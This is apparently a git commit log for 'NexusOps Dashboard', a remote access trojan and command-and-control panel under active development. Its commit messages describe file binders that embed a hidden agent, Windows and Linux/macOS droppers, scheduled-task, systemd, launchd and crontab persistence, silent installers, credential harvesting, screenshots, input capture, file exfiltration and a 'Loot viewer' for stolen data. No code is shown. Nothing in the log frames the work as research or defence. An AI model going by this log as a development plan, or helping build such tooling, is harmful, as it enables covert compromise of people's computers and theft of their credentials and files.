root
e3e5865419
feat: self-contained binder v2 — agent embedded directly, no curl required
...
- /api/bind now embeds agent.py as base64 (fully offline install)
- New HTML format: one-click browser payload (auto-downloads file)
- PS1 format: Windows dropper with embedded agent + schtasks persistence
- SH format (default): Linux/macOS dropper, extracts both file + agent
- Agent installs to /opt/network-agent/ with systemd or launchd persistence
- Frontend: format selector (SH/PS1/HTML) in binder modal
- Verified: both payloads extract correctly, agent.py passes py_compile
2026-08-07 05:33:55 +00:00
root
c966cb0a28
fix: audit bugs — debounce saveData, CSV escape, switchTab event param, exfil size cap, shell injection, launchctl bootstrap
...
- server.js: debounce saveData to max 1 write/15s (was every heartbeat)
- server.js: proper CSV escaping (_csvEscape) for node export endpoint
- server.js: replace deprecated String.substr() with String.slice()
- agent.py: 50MB size cap on download_file to prevent OOM
- agent.py: shlex.quote() server_url in crontab persistence (shell injection)
- agent.py: replace deprecated launchctl load with bootstrap/bootout/kickstart
- app.js: pass event param to switchTab() (global event deprecated)
- app.js: fix lootDownload URL revocation (60s → safe for slow downloads)
2026-08-07 00:59:07 +00:00
root
e2f1f04d35
fix: single WS boot path, probe sends stored token, un-halt on auth success
2026-08-03 14:27:12 +00:00
root
0dcbbffbaa
feat: operator auth (Bearer+WS 4401), atomic saves, WS heartbeat, Loot viewer (files+creds+screenshots), auth gate, WS reconnect backoff, empty-state hero, toasts
2026-08-03 14:21:08 +00:00
root
23d7271226
v3: universal auto-installer, silent mode, silent binders
2026-08-03 13:25:52 +00:00
root
e453ccda36
v2: persistence, file exfil, screenshot, harvest creds, auto-update, persistence fallbacks
2026-08-03 13:18:05 +00:00
root
6cdb58ecff
Clean: exclude build artifacts and binaries from repo
2026-08-03 13:10:54 +00:00
root
2922675a50
NexusOps Dashboard — node control, input capture, file binder, kill switch
2026-08-03 13:10:45 +00:00
